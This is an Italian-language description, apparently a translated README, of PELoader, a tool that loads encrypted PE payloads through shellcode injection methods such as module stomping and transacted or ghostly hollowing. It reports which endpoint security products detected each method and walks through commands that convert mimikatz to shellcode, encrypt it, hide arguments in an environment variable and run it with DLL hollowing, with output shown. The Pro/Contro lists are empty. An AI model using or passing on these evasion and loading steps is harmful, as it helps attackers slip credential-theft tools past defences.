
Caricatore PE con varie tecniche di iniezione di shellcode
PELoader implementa varie tecniche di iniezione di shellcode e utilizza la libreria libpeconv per caricare file PE crittografati invece di iniettare shellcode in un thread remoto.
Sono state implementate le seguenti tecniche:
Crediti: la maggior parte del mio lavoro si è basato sugli script PoC di @hasherezade.
PELoader è stato testato su Windows 10 con Cortex XDR / SentinalOne / Windows Defender / CrowdStrike, e Windows Defender / CrowdStrike hanno rilevato le tecniche Transacted Hollowing. Le caratteristiche di ogni tecnica sono state testate con lo strumento di scansione della memoria Moneta di @forrest-orr.
Module Stomping (LoadLibrary)
Chiama LoadLibrary per caricare una DLL legittima. Sovrascrive la DLL con il payload.
Pro

Module Stomping (NtMapViewOfSection)
Chiama NtCreateSection per creare un oggetto di mapping di file (PAGE_READONLY) per una DLL legittima, e chiama NtMapViewOfSection per mapparlo al processo corrente. Sovrascrive la DLL con il payload.
Pro
Contro

riferimento al PoC di @hasherezade.
Transacted Hollowing
Un ibrido tra Process Hollowing e Process Doppelgänging. Crea un file “invisibile” all'interno della transazione NTFS e scrive il payload nel file. Mappa la sezione nel processo corrente e la esegue.
Pro
Contro

Ghostly Hollowing
Un ibrido tra Process Hollowing e Process Ghosting. Crea un file con stato di eliminazione in sospeso e scrive il payload nel file. Mappa la sezione nel processo corrente e la esegue.
Pro
Contro
riferimento al PoC di @hasherezade.
NtMapViewOfSection (RWX-RW-RX)
Chiama NtCreateSection per creare una sezione di memoria (RWX). Chiama NtMapViewOfSection per mappare una vista nel processo corrente (RWX). Chiama VirtualProtect per cambiare la protezione in RW. Copia lo shellcode nella sezione mappata. Cambia la protezione in RX e lo esegue.
Pro
Contro

NtAllocateVirtualMemory (RW-RX)
Chiama NtAllocateVirtualMemory per allocare memoria (RW). Copia lo shellcode nella memoria. Cambia la protezione in RX e lo esegue.
Pro
Contro

Crittografa il Payload AES
Converte il file PE in shellcode con pe_to_shellcode e lo crittografa con PELoader
cmd> .\pe2shc.exe mimikatz.exe
Reading module from: mimikatz.exe
[WARNING] This is a console application! The recommended subsystem is GUI.
[+] Saved as: mimikatz.shc.exe
cmd> set hagrid=enc mimikatz.shc.exe
cmd> .\PELoader.exe
argument: enc mimikatz.shc.exe
Encrypting File
Esecuzione del PE
Imposta l'argomento nella variabile d'ambiente "hagrid" ed esegui PELoader
cmd> set hagrid=cdll mimikatz.shc.exe.enc
cmd> .\PELoader.exe version
argument: cdll mimikatz.shc.exe.enc
Classic DLL Hollowing
[*] target dll: C:\WINDOWS\system32\aadtb.dll
[*] implant dll: mimikatz.shc.exe.enc
[*] Loading the DLL (using LoadLibary, classic DLL hollowing)...
[*] Overwriting the mapping
[*] Module Overloading finished...
[*] Executing Implant's Entry Point: 7ff8cf9d7578
[*] Executing Implant as EXE
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # version
mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19043 (arch x64)
msvc 150030729 207
mimikatz #